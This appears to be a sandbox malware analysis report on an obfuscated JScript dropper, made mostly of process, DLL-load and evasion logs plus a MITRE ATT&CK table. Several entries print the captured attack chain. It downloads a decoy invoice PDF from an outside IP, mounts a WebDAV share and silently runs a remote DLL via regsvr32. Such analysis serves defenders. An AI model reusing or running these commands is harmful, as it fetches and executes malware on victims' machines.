Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3710.js.csv");ITextStream.WriteLine(" entry:7625 f:ahogkcmwc");ITextStream.WriteLine(" exec:2 f:ahogkcmwc");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4850			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5025			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4452	Thread sleep count: 4850 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4452	Thread sleep count: 5025 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4676	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4936	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6168	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6556	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000003.1509051326.000001BFCFC89000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1511460441.000001BFCFC28000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2730246271.0000025E4162F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2732503033.0000025E46C54000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
